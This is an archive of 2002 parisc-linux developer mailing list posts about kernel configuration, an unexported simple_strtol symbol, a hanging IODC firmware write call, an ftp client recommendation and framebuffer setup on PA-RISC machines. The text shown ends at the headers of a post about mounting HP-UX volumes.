In-Reply-To: <20020318162436.N21765@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14378

Quoting Matthew Wilcox <willy@debian.org>:

...
> 
> That's very strange.  Are you sure you have CONFIG_MSDOS_PARTITION=y in
> your .config?  Otherwise, I gess there could be a problem with reading
> the partition table off the disc... but that seems unlikely.

It was on the original at least (but i could not check, right now, if uncheck of
CONFIG_PCI did not remove it by make menuconfig; I can check as soon as my last
build will be finished).

Joel
> 
> -- 
> Revolutions do not require corporate support.
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI without PCI
Date: Mon, 18 Mar 2002 19:29:11 +0100 (CET)
Lines: 39
Approved: news@gmane.org
Message-ID: <1016476151.3c9631f7bf73b@webmail.tiscalinet.be>
References: <1016466919.3c960de7350ce@webmail.tiscalinet.be> <20020318155833.M21765@parcelfarce.linux.theplanet.co.uk> <1016468351.3c96137f696f0@webmail.tiscalinet.be> <20020318162436.N21765@parcelfarce.linux.theplanet.co.uk> <1016470438.3c961ba69aa41@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621170 5019 80.91.229.3 (22 Nov 2014 01:52:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:50 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, joel.soete@freebel.net,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 11:30:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9639A484C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 11:30:15 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16n1sd-0006BT-00; Mon, 18 Mar 2002 19:29:11 +0100
In-Reply-To: <1016470438.3c961ba69aa41@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14379

Quoting joel.soete@freebel.net:

> Quoting Matthew Wilcox <willy@debian.org>:
> 
> ...
> > 
> > That's very strange.  Are you sure you have CONFIG_MSDOS_PARTITION=y
> in
> > your .config?  Otherwise, I gess there could be a problem with
> reading
> > the partition table off the disc... but that seems unlikely.
> 
> It was on the original at least (but i could not check, right now, if
> uncheck of
> CONFIG_PCI did not remove it by make menuconfig; I can check as soon as
> my last
> build will be finished).

No it did not uncheck CONFIG_MSDOS_PARTITION

> 
> Joel
> > 
> > -- 
> > Revolutions do not require corporate support.
> > 
> > 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ftp Client.
Date: Mon, 18 Mar 2002 15:31:48 -0800
Organization: Hewlett Packard
Lines: 9
Approved: news@gmane.org
Message-ID: <3C9678E4.678D91DD@cup.hp.com>
References: <1016088869.3c904925683bb@webmail.tiscali.be> <3C924032.6E5BB55D@cup.hp.com> <20020315190021.Z30538@parcelfarce.linux.theplanet.co.uk> <3C92E60D.E9D9A8ED@cup.hp.com> <20020316132221.A2179@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621170 5024 80.91.229.3 (22 Nov 2014 01:52:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 16:32:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id C405F4837
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 16:31:59 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel12.hp.com (Postfix) with ESMTP id EBF6C6002BF
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 15:31:57 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id PAA20438
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 15:31:52 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14380

compile and use this ftp client

http://www.NcFTP.com

working fine for me.





From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James E. Pace" <jepace@pobox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] simple_strtol?
Date: Mon, 18 Mar 2002 20:12:58 -0800 (PST)
Lines: 33
Approved: news@gmane.org
Message-ID: <20020318200919.L25440-100000@tigger.pacehouse.com>
Reply-To: "James E. Pace" <jepace@pobox.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621171 5033 80.91.229.3 (22 Nov 2014 01:52:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 21:13:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tigger.pacehouse.com (adsl-63-202-82-115.dsl.snfc21.pacbell.net [63.202.82.115])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CD65483F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 21:13:00 -0700 (MST)
Original-Received: from localhost (jepace@localhost)
	by tigger.pacehouse.com (8.11.6/8.11.6) with ESMTP id g2J4Cwr25696
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 20:12:58 -0800 (PST)
	(envelope-from jepace@pobox.com)
X-Authentication-Warning: tigger.pacehouse.com: jepace owned process doing -bs
X-X-Sender: jepace@tigger.pacehouse.com
X-Url: http://www.pobox.com/~jepace
X-Pgp-Fingerprint: 8C E7 12 5A 3A 8C 5C 4D  EC 15 7B 65 EA 82 D2 BF
X-Pgp-Keyid: A49EA4D9
X-Files: The Truth Is Out There
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14381

Hi.

I'm trying to get FiST
(http://www.cs.columbia.edu/~ezk/research/fist/) working on my 712.
I've got kernel version 2.4.17 [ uname -a = Linux rabbit 2.4.17 #2 Sat
Mar 16 08:27:47 PST 2002 parisc unknown ].

I'm able to compile a kernel module that includes simple_strtol, but
when I insmod it, I get :

+ insmod ./rot13fs.o
./rot13fs.o: unresolved symbol simple_strtol
./rot13fs.o:
Hint: You are trying to load a module without a GPL compatible license
      and it has unresolved symbols.  Contact the module supplier for
      assistance, only they can help you.


What am I doing wrong?

Thanks,

James

This letter brought to you by: *************************************
** "They that can give up       James E. Pace <jepace@pobox.com>  **
**  essential liberty to        http://www.PaceHouse.com/         **
**  obtain a little temporary                                     **
**  safety deserve neither liberty nor safety." - B. Franklin     **
********************************************************************




From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Call to IODC hangs.!!!!
Date: Mon, 18 Mar 2002 21:40:39 -0800
Organization: Hewlett Packard
Lines: 82
Approved: news@gmane.org
Message-ID: <3C96CF57.CA169520@cup.hp.com>
References: <1016088869.3c904925683bb@webmail.tiscali.be> <3C924032.6E5BB55D@cup.hp.com> <20020315190021.Z30538@parcelfarce.linux.theplanet.co.uk> <3C92E60D.E9D9A8ED@cup.hp.com> <20020316132221.A2179@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621171 5041 80.91.229.3 (22 Nov 2014 01:52:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 22:40:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57FEB485C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 22:40:49 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel12.hp.com (Postfix) with ESMTP id 88DBC60030F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 21:40:48 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id VAA03844
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 21:40:43 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14382


I am using the following code to write a page to the swap space
using the iodc calls.

The IODC call for writing a boot device in blocks is
ENTRY_IO  with a subfunction BOOT_BLK_DEV_WRITE  = 17.

The call never returns.
Is there anythin I need to do more...


-------------------------------PARTITION TABLE Start -----------------
This is the partition of my disk.

Disk /dev/sda: 67 heads, 62 sectors, 1009 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1            62     33231     16585   f0  Linux/PA-RISC boot
/dev/sda2         33232    531711    249240   82  Linux swap
/dev/sda3        531712   1030191    249240   83  Linux
/dev/sda4       1030192   4191385   1580597   83  Linux
-------------------------------------------PARTITION TABLE End-----------------

-------------------------CALL to Firmware.c-----------------------------
I am calling a pdc_iodc_bootout() as below.

err = pdc_iodc_bootout((unsigned long)17014784, dump_page_buf,
                                1, &count);

17014784  is the start of the swap space.
                     I got this number by doing this.
Start sector of the swap partition * 512
33232 * 512 = 17014784


-------------------------------------------------------------END calling
-------------


---------------------------------------Call to
IODC------------------------------
This is the call to IODC

int
pdc_iodc_bootout(unsigned devaddr, char *memaddr, unsigned size,
                 unsigned *count)
{
    int r;

    static int __attribute__((aligned(8)))   iodc_retbuf[32];
    static char __attribute__((aligned(64))) iodc_dbuf[4096];
    memcpy(iodc_dbuf, memaddr, size);

    if(!(PAGE0->mem_boot.iodc_io)) {
        return -1;
    }

    r = real32_call(PAGE0->mem_boot.iodc_io,
                    (unsigned long)PAGE0->mem_boot.hpa,
ENTRY_IO_BLK_BOOTOUT,
                    PAGE0->mem_boot.spa, __pa(PAGE0->mem_boot.dp.layers),
                    __pa(iodc_retbuf), devaddr, __pa(iodc_dbuf), size,
size);
    memcpy(count, iodc_retbuf, sizeof(*count));

    if (r == 3) /* EOF */
    {
        printk("pdc_iodc_bootin:EOF\n");
        return 0;                       /* count = 0 at EOF */
    }
    else if (r >= 0)
    {
        convert_to_wide(pdc_result);
        return pdc_result[0];           /* count */
    }
    return r;                           /* r < 0; error */
}





From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] simple_strtol?
Date: Tue, 19 Mar 2002 07:26:33 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20020319072633.GF21376@sleepie.demon.co.uk>
References: <20020318200919.L25440-100000@tigger.pacehouse.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621171 5043 80.91.229.3 (22 Nov 2014 01:52:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James E. Pace" <jepace@pobox.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 19 00:41:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37D75485F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Mar 2002 00:41:52 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 6B0159EC88; Tue, 19 Mar 2002 07:26:33 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20020318200919.L25440-100000@tigger.pacehouse.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14383

On Mon, Mar 18, 2002 at 08:12:58PM -0800, James E. Pace wrote:
> 
> Hi.
> 
> I'm trying to get FiST
> (http://www.cs.columbia.edu/~ezk/research/fist/) working on my 712.
> I've got kernel version 2.4.17 [ uname -a = Linux rabbit 2.4.17 #2 Sat
> Mar 16 08:27:47 PST 2002 parisc unknown ].
> 
> I'm able to compile a kernel module that includes simple_strtol, but
> when I insmod it, I get :
> 
> + insmod ./rot13fs.o
> ./rot13fs.o: unresolved symbol simple_strtol
> ./rot13fs.o:
> Hint: You are trying to load a module without a GPL compatible license
>       and it has unresolved symbols.  Contact the module supplier for
>       assistance, only they can help you.
> 
> 
> What am I doing wrong?

You need to export the symbol from the kernel for use in modules.  Try
adding

EXPORT_SYMBOL(simple_strtol);

to arch/parisc/kernel/parisc_ksyms.c - maybe with an appropriate
#include for the prototype.

Richard




From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ftp Client.
Date: Tue, 19 Mar 2002 13:27:39 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20020319132739.O21765@parcelfarce.linux.theplanet.co.uk>
References: <1016088869.3c904925683bb@webmail.tiscali.be> <3C924032.6E5BB55D@cup.hp.com> <20020315190021.Z30538@parcelfarce.linux.theplanet.co.uk> <3C92E60D.E9D9A8ED@cup.hp.com> <20020316132221.A2179@parcelfarce.linux.theplanet.co.uk> <3C9678E4.678D91DD@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621172 5048 80.91.229.3 (22 Nov 2014 01:52:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 19 06:27:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 969024862
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Mar 2002 06:27:45 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16nJeN-0000og-00; Tue, 19 Mar 2002 13:27:39 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C9678E4.678D91DD@cup.hp.com>; from gururaj@cup.hp.com on Mon, Mar 18, 2002 at 03:31:48PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14384

On Mon, Mar 18, 2002 at 03:31:48PM -0800, Gururaj Ananthateerta wrote:
> compile and use this ftp client
> 
> http://www.NcFTP.com
> 
> working fine for me.

Or, more easily, "apt-get install ncftp".  The joys of a distro where
_everything_ is packaged :-)

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kurc, Marcin A." <makurc@cooperstandard.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fb support
Date: Tue, 19 Mar 2002 11:40:04 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <426B4FEBE684D411B0A60090273B1D24024856DC@aa0016.auburn.auto.cooperintra.ctb>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621172 5052 80.91.229.3 (22 Nov 2014 01:52:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 19 09:42:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fa0008.coopertire.com (unknown [63.150.221.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F3244835
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Mar 2002 09:42:33 -0700 (MST)
Original-Received: by FA0008 with Internet Mail Service (5.5.2653.19)
	id <GB5Q4024>; Tue, 19 Mar 2002 11:42:30 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14385

Hi,
I'm trying to set up a framebuffer.
I have the framebuffer support compiled into the kernel
[*]   Generic STI frame buffer device support
[*] STI console

however, when I try to run fbset it says
open /dev/fb0: No such device

What did I miss? 
thanks

Marcin Kurc
 



From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Rampson <crampson@ford.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mounting HPUX volumes/disks under PA-LINUX
Date: Wed, 20 Mar 2002 09:23:36 -0500
Lines: 81
Approved: news@gmane.org
Message-ID: <200203201423.g2KENo323881@dymwsm09.mailwatch.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="------------010301030109000208080802"
X-Trace: ger.gmane.org 1416621172 5054 80.91.229.3 (22 Nov 2014 01:52:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 20 07:23:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dymwsm08.mailwatch.com (dymwsm08.mailwatch.com [204.253.83.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DD94482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Mar 2002 07:23:57 -0700 (MST)
Original-Received: from MWSC0208.MW4.MAILWATCH.COM (mwsc0208.mw4.mailwatch.com [204.253.83.244])
	by dymwsm08.mailwatch.com (8.11.0/8.11.0) with ESMTP id g2KENoh02500
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Mar 2002 09:23:50 -0500
Original-Received: from mail pickup service by MWSC0208.MW4.MAILWATCH.COM with Microsoft SMTPSVC;
	 Wed, 20 Mar 2002 09:23:50 -0500
Original-Received: from 204.253.83.71 ([204.253.83.71]) by MWSC0208 with SMTP id 00020008aba9d08f-b758-4e6d-be47-3170f22635ef;	 Wed, 20 Mar 2002 09:23:50 -0500
Original-Received: from eccmfw6.ford.com (mailfw6.ford.com [136.1.1.30])	by dymwsm09.mailwatch.com (8.11.0/8.11.0) with ESMTP id g2KENo323881	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Mar 2002 09:23:50 -0500
Original-Received: by mailfw6.ford.com id JAA06273  (InterLock SMTP Gateway 4.2 for parisc-linux@lists.parisc-linux.org);  Wed, 20 Mar 2002 09:23:00 -0500 (EST)
Original-Received: by mailfw6.ford.com (Internal Mail Agent-2);  Wed, 20 Mar 2002 09:23:00 -0500 (EST)
Original-Received: by mailfw6.ford.com (Internal Mail Agent-1);  Wed, 20 Mar 2002 09:23:00 -0500 (EST)
Original-Received: by mailfw6.ford.com (Internal Mail Agent-0);  Wed, 20 Mar 2002 09:23:00 -0500 (EST)
User-Agent: Mozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:0.9.4) Gecko/20011212 Netscape6/6.2.1
X-Accept-Language: en-us
HOP-COUNT: 1
X-MAILWATCH-INSTANCEID: 01020008aba9d08f-b758-4e6d-be47-3170f22635ef
X-OriginalArrivalTime: 20 Mar 2002 14:23:50.0362 (UTC) FILETIME=[DAEA9BA0:01C1D01A]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
